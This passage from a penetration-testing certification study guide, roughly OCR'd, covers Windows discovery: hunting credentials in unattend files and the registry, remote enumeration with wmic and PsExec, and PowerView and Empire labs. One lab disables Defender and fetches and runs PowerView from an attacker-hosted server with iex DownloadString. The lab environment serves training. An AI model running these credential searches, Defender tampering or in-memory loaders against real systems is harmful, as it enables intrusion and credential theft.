the image is generalized, it can be used with other configuration
files called answer files to install and configure a standardized
image across the organization. Answer files are files configured
by systems administrators to automate building and configuring
Windows systems. The data stored in these files may be
sanitized. However, it might be possible to find usernames, or
base64-encoded passwords, in some of these files. Files that
may include sensitive information include the following:

C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml



C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

Other types of information you should be looking for can range
from firewall configurations to default credentials used for
automatic logins. Gathering data related to the current firewall
configuration will help you determine which services are
allowed to communicate with your target and whether
outbound connections to specific ports are blocked. This data
will help you once it comes time to exfiltrate data. Default
autologin information is stored in the registry, located at
HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon. Password data might be stored
there as well. You can also search the entire registry for
password data using the reg query command, as some
software packages may store cleartext passwords there.

Additionally, it may be possible to find credentials saved in
Remote Desktop Protocol (RDP) connection configuration files.
These files are usually saved with a .rdp file extension. You will
also want to grab other useful information, like whether
Constrained Language Mode is configured for PowerShell and
whether User Account Control (UAC) is set to always prompt.

Table 7-7 lists some commands you can use to gather data about
the current system configuration.



Command

C:\»> netsh advfirewall
show allprofiles

C:\> netsh advfirewall firewall
show rule name=all
profile=domain

PS C:\> Get-NetFirewallProfile |
Select Name, Enabled

PS C:\> Get-ChildItem -Recurse
-Filter unattend.xml 2>Snull |
Get-Content

reg query HKCU /f password /t
REG SZ /s

PS C:\> Get-ItemProperty

'"HKLM: \SOFTWARE\Microsoft
\Windows\CurrentVersion
\Policies\System\' -Name EnableLUA

PS C:\> SExecutionContext.
SessionState.LanguageMode

Description

Prints firewall state for each profile
(e.g., Domain, Private, and Public).

Prints all firewall rules for the domain
profile.

Prints all firewall profiles and their
current status.

Finds all files in C: named unattend.xml
and prints their contents to the screen.

Finds all entries in the registry with the
phrase “password” in the key contents.

Returns the settings for UAC. If
EnableLUA s setto 1, users are
prompted whenever a program tries to
make an OS modification. If set to 0, no
prompt is displayed.

Displays the current language mode
your current PowerShell session is in,
Full or Constrained.

Table 7-7 Commands to Obtain Systems Configuration

Information

TIP Systems configuration information can be categorized under some of the
following MITRE ATT&CK techniques, all under the Discovery tactic:

Password Policy Discovery (T1201)
Process Discovery (T1057)

Query Registry (T1012)

Security Software Discovery (T1063)
System Information Discovery (T1082)

System Service Discovery (T1007)

REMOTE INFORMATION GATHERING



Gathering information remotely for Windows systems is
relatively straightforward, as most of the CMD-based
commands that you use are nearly identical to those that you
use to gather information locally, but with a couple more flags
to specify the remote system and possibly a username and
password. Some commands covered in Chapter 5, like
tasklist and schtasks, have the following flags that you can
specify to gather information from remote systems:

/S Specifies the target system to run the command on
« /U Specifies the user to log in as on the target system

- /P Specifies the password for the user on the target
system

The sc command cannot pass the username and password.
However, if you use the runas command, you can specify a
username and you will be prompted for a password.
Additionally, the wmic command has the following flags that
you can pass to run wmic on a remote system:

« /mnode Remote target
« /user User to connect as, in the form of DOMAIN\user

» /password Password for target user

Table 7-8 lists some basic commands for gathering information
from remote systems using tasklist, schtasks, sc, and
wmic. If you did not configure your lab environment as
specified in Appendix B, be sure to use the passwords that
you've configured for your environment where necessary.



Command Description

C:\> tasklist /s windowstarget.lab
.local /u lab\netadmin /p Pa2Zword

Lists all processes running on
windowstarget.lab.local.

C:\> runas /user:lab\netadmin "cmd Executes sc query on windowstarget.lab
.exe /k sc \\windowstarget.lab.local localinanew CMD window and leaves

queryu

C:\> schtasks /query
/s windowstarget.lab.local
/u lab\netadmin /p Pa22word

C:\> wmic /output:processes
.csv /node:windowstarget.lab
.local /user:lab\netadmin
/password:Pa22word process list
brief /format:cswv

C:\> wmic /node:windowstarget
.lab.local /user:lab\netadmin
/password:Pa22word get product

the window open.

Lists all scheduled tasks on windowstarget
Jlab.local. Chapter 5 discussed creating
and deleting scheduled tasks. Adding the
/8, /U, and /P flags with the appropriate
options enables you to do this remotely
given the proper permissions.

Saves all running processes on
windowstarget.lab.local locally to
afile named processes.csv.

Prints a list of all installed software,
including vendors and version numbers,
on windowstarget.lab.local.

name, vendor, version /format:csv

Table 7-8 Commands for Remote Information Gathering

For PowerShell, in order to gather information remotely, your
target user requires special privileges. To connect to PowerShell
remotely, your user must be a member of either the local
Administrators group or the Remote Management Users group.
Additionally, the system you wish to collect information from
requires specific configurations. If you followed the instructions
in Appendix B, you have configured your Group Policy to allow
remote PowerShell on all domain computers. This enables and
starts the Windows Remote Management (WinRM) service and
creates a firewall rule to allow connections through on TCP
ports 5085 (HTTP) and 5986 (HTTPS) from any host. The
PowerShell cmdlet Enable-PSRemoting can also enable and
start WinRM.

Once WinRM is running on your target, you can connect and
control sessions with the following cmdlets: New-PSSession,
Enter-PSSession, and Remove-PSSession. You can also
use the Tnvoke-Command cmdlet in conjunction with these
cmdlets to run commands in remote sessions without needing
to engage with the remote PowerShell session directly. With
these cmdlets, you can run any PowerShell scripts or ecmdlets



remotely. Table 7-9 lists basic commands you can use to gather

information.
Command Description
PS C:\> $s = New-PSSession Stores a PowerShell session in $s. You can

-ComputerName windcowstarget.lab
.local -Credential lab\netadmin

PS C:\> Enter-PSSesgssion S$s

PS8 C:\> Remove-PSSegsion $s

PS C:\> Invoke-Command -ScriptBlock
{Get-NetIPAddress} -Session S$s

PS C:\> Invoke-Command -ScriptBlock
{Get-WMIObject win32 process}
-Segsion $s

then use the Enter-P5Session cmdlet
or the Invoke-Command cmdlet to
connect to a remote PowerShell session or
run a command remotely, respectively.

Connects to the remote PowerShell
session stored in $s.

Closes the session stored in $s.

Runs Get -NetIPAddress on the remote
session stored in $s.

Returns all processes running on the target
identified in session $s.

Table 7-9 Commands for Remote Information Gathering with

PowerShell

EXAM TIP It would be impossible (and unethical!) for us to cover all commands
exactly as they might appear on the GPEN exam. It would be beneficial for you to

become as familiar as possible not only with the different methods of gathering

information but also with how to combine them with some of the scripting methods

covered in Chapter 4 (e.g., for loops).

The last tool we’ll discuss for manual remote information

gathering is PsExec. PsExec is part of a suite of tools named

PsTools, which is part of the larger Sysinternals suite of

Windows administration and management tools (introduced in

Chapter 5). The PsTools suite consists of many executables that

can be used for remote administration, displaying process

information and logged-on users, and managing Windows

services, among other tasks. We're going to stick to discussing

PsExec here since this tool is specific to lateral movement and

information gathering. The tool was developed to be a



lightweight remote management tool without the need to install

server or client software on remote targets. Like PowerShell, in

order for this tool to work properly, a few things are required:

SMB

(TCP port 445) must be accessible on the target system,

file and print sharing services must be enabled, and the default

admin share (admin$) must be accessible by the user you are

trying to connect as. If all of these conditions are met, the

following steps outline how PsExec works once executed:

1. PsExec, which contains a Windows service
executable (PSEXESVC), copies itself to the admin$
share on the target system.

2. PSEXESVC is configured to run using the credentials
provided when launching PsExec.

3. PSEXESVC is started, as shown next, which creates
named pipes. A named pipe is created for each of the
following: stdin, stdout, and stderr, as shown in Figure

7-2.
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4. The named pipe is used to run commands on the
remote machine (stdin) and return output (stdout) and
errors (stderr).

5. Once the command or session is closed, the named
pipes are destroyed and the Windows service is
deleted.

PS C:\Windows\system32> get-childitem \\.\pipe\ -Filter "PSEXESVC*"

Directory: \\.\pipe

LastWriteTime Length Name
12/31/1680 4:00 PM 2 PSEXESVC
12/31/1680 4:88 PM 1 PSEXESVC-WINATTACKER-1128-stdin
12/31/1688 4:00 PM 1 PSEXESVC-WINATTACKER-1128-stdout
12/31/1668 4:00 PM 1 PSEXESVC-WINATTACKER-1128-stderr

Figure 7-2 PSEXESVC named pipes




For example, if you wanted to gather network configuration
information on a target system, you could run the following
command:

C:\> psexec \\windowstarget.lab.local -u lab\netadmin -p Pa22word ipconfig /all

Metasploit also has multiple psexec modules, which at their
core operate the same way. The major difference is that
Metasploit uses a template executable (EXE) file, which inserts
the malicious code into the template based on the type of
payload requested. The default payloads will most likely be
flagged by Windows Defender and other antivirus products. So,
while you will be able to connect and copy the service over, it
will be immediately flagged and removed, and the service will
time out (30 seconds).

NOTE Sysinternals (https://docs.microsoft.com/en-us/sysinternals/) was
originally developed by Mark Russinovich to help manage Windows systems. While
it is still possible to download the Sysinternals tools directly to the computer and
run them, there is also a feature called Sysinternals Live, which allows users,
administrators, and attackers to execute Sysinternals tools directly from the Web.

AUTOMATING INFORMATION GATHERING

Now that you’ve explored the tedious process of manually
gathering Windows information during the discovery phase of
pentesting, this section introduces some tools to help you
automate the process. Among the many tools that you can use
to automate the task of gathering data are PowerView, Empire,
and BloodHound. We'll cover the types of information these
tools can gather and walk through labs designed to demonstrate


https://docs.microsoft.com/en-us/sysinternals/

their functionality. Keep in mind, though, that depending on the
maturity of your target’s defense mechanisms, some or all of
these tools may be detected.

CAUTION Some organizations have gone so far as to alert on any execution of
certain command-line programs, depending on the organization the user belongs to.
For example, there’s no reason the senior VP of marketing should be running
straight PowerShell, or even net user for that matter.

PowerView PowerView is part of the PowerSploit tool suite
created and maintained by a community of open source
developers, penetration testers, and red teamers. PowerSploit is
composed of modules, some of which include Recon,
Persistence, Privsec, and Data Exfiltration. The following
exercise concentrates on PowerView’s Recon module for
gathering local information and information about the domain
that the computer that you access is a member of. An in-depth
discussion of Active Directory forests and domains is outside
the scope of this book and the GPEN exam. However, having a
working knowledge of them is important for any penetration
tester. As a reminder, PowerView by default is flagged as
malicious by Windows Defender, so you need to access your
target machines as a local administrator so that you can disable
real-time monitoring.




TIP You can familiarize yourself with all the different commands that PowerView
can run by visiting
https://powersploit.readthedocs.io/en/latest/Recon/#powerview.

Lab 7-1: Recon with PowerView

For the following lab, you need to have your WindowsTarget
host and lab-dco1 domain controller running. You will also be
checking out the “dev” branch of PowerSploit from GitHub and
serving it up with your Python SimpleHTTPServer, so you need
your Kali Linux VM as well. As always, the instructions assume
that you have configured your lab environment per the
instructions provided in Appendix B; if you chose to use your
own lab configuration, substitute your own values where
appropriate.

NOTE If you're unable to locate the “dev” branch of the project, you can download a
copy from the online content provided with this book to your /opt directory and
unzip it.

1. Login to your Kali Linux VM and run the following
commands to download PowerSploit and serve it up via
your HTTP server:

cd /opt

git clone https://github.com/PowerShellMafia/PowerSploit.git \
--branch dev PowerSploit-dev

cd PowerSploit-dev/Recon

python -m SimpleHTTPServer


https://powersploit.readthedocs.io/en/latest/Recon/#powerview

2. On your WindowsTarget VM, log in as alice using
credentials configured in Appendix B. Launch a
PowerShell prompt as admin. Verify that AMSI real-
time monitoring is disabled by running (Get-
MpPreference) .DisableRealTimeMonitoring
at the PowerShell prompt. You should receive a result of
True. If not, verify that you’ve configured your
WindowsTarget VM and domain as outlined in
Appendix B. If necessary, run Set-MpPreference -

DisableRealTimeMonitoring $true.

3. Load PowerView into memory to keep a low profile
(modify the IP address if necessary):

iex (New-Cbject Net.WebClient) .DownloadString({'http://192.168.1.119/
PowerView.psl')

4. First gather some local information. Run the following
commands to validate local users, groups, and group
membership on the local system:

PS C:\»> Get-LocalUser
PS C:\> Get-LocalGroup
PS C:\> Get-LocalGroupMember -Group Administrators
5. You should see a small number of local users listed
along with details of which user accounts are enabled
and which are disabled. There are quite a few local
groups, but there’s really only one to be concerned with:
Administrators. The members of the local
Administrators group should consist of, at the very
least, the Domain Admins group from your LAB domain
and a local Administrator account, as shown in Figure

73



PS C:\Users\user> Get-LocalGroupMember -Group Administrators

ObjectClass Name PrincipalSource
Group LAB\Domain Admins ActiveDirectory
User WINDOWSTARGET\Administrator Local
User WINDOWSTARGET\user Local

PS C:\Users\user> _

Figure 7-3 Get-LocalGroupMember results

6.

N

8.

Now that you know that your local Administrators
group consists of another group, dig further to see who’s
a member of the local Administrators group by querying
the domain:

PS C:\> Get-DomainGroupMember "Domain Admins" -Recurse

You should receive results showing that the LAB
Domain Admins group consists of, at the very least,
alice and Administrator. The -Recurse option supplied
to the command tells it to gather information about
nested groups. In large domains, keeping track of
nested groups can be very difficult for systems
administrators, especially as the number of layers
increases. This often provides opportunities for
attackers to find users that may have been assigned
privileges they were not meant to have. Another highly
prized domain group is the Enterprise Admins group,
which has control over everything in the entire forest.
Thus, if the target organization has multiple root
domains in the forest, the Enterprise Admins group has
control over all of them and any subdomains. If you run
Get-DomainUser Administrator,you will see that
the account belongs to multiple groups, including the
Domain Admins and Enterprise Admins groups.

Now that you know your current target VM is a
member of a domain, gather some information on the



domain itself by running the following commands:

PS C:\> Get-NetDomailn
PS C:\> Get-Forest
PS C:\> Get-ForestDomain

9. As shown next, these commands help you to determine
that your current target system is in the LAB.local
domain. This domain is the forest root, or the top-level
domain, and LAB.local is the only domain in your
forest. Also note that there is a domain controller whose
hostname is LAB-DC01-LAB. local.
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A domain controller is often a sought-after target in
pentesting because it houses information on all users in
a domain, including password hashes, password
histories, and maybe even contact information.

10. One of the coolest cmdlets that PowerView has is
Find-LocalAdminAccess, which checks all computer
objects in the domain to see if the current user has
administrative access to any of those computers. As
admin access is the easiest way to pivot, this cmdlet
often is the go-to tool to help find other machines to
capture. Run the cmdlet and you should see, at a
minimum, that alice has admin access to the current
target and the domain controller. You can also use the
Test-AdminAccess cmdlet to check whether the
current user has admin access to the current target or to
a specified host.

Lab 7-2: Recon with Empire



Now see if you can gather the same types of information using
Empire rather than PowerView. Chapter 5 already introduced
this tool, so please follow Lab 5-3 in Chapter 5 to set
up a listener in Kali Linux and an agent as alice on the
WindowsTarget host.

1.0nce you have your agent, use some of the situational
awareness modules to try to gather the same
information about your target as you did with
PowerView:

Empire: agents) > interact myagent

Empire: myagent) > sleep 0 0

Empire: myagent) > usemodule situational_awareness/host/winenum
Empire: powershell/situational awareness/host/winenum) > run

(
(
(
(

2, This should return a large amount of information about
the host in the context of the user that is running the
module. In this instance the information you receive
includes basic user information, running services,
network information (e.g., netstat output), firewall
rules, running services, and installed software. This
module may take some time to complete. If you wish to
kill the job, you can do the following from your agent
interaction prompt (note that your job ID will be
different):

(Empire: myagent) > jobs
Running Jobs:

YBGASY

Empire: myagent) > kill YBGASZ

3. Try another local module to see if there are any
antivirus products running;:

(Empire) > interact myagent
(Empire: myagent) > usemodule situational_awareness/host/antivirusproduct
(Empire: antivirusproduct) > run

You should see that Windows Defender is running.

4. Now that you've gathered some local information,
check if there is any domain-related information that



you can gather with Empire:
(Empire) > interact myagent
(Empire: myagent) > usemodule situaticnal_awareness/network/powerview/

get loggedon
(Empire: get_loggedon) > run

5. Now that you know who is logged in to the target, see if
you can gather some information on sensitive domain
groups:

(Empire) > interact myagent

(Bnpire: wmyagent)} > usemodule situational_awareness/network/powerview/
get_group

(Empire: get_group) > run

6. The preceding step lists all groups in the domain, so
narrow the focus by concentrating on the Enterprise
admins group:

(Empire) > interact myagent
(Empire: myagent) > usemodule situational_awareness/network/powerview/
get_group_member
{Empire: get_group member) > set Identity "CN=Enterprise Admins,CN=Users,
DC=LAB,DC=1ccal"
(Empire: get group member) > run

7. This should return results that correspond to what you
found in the PowerView exercise: the domain
Administrator account belongs to the Enterprise

Admins group.

8. As a final step, use the
situational_awareness/network/portscan module to
determine which ports are open on 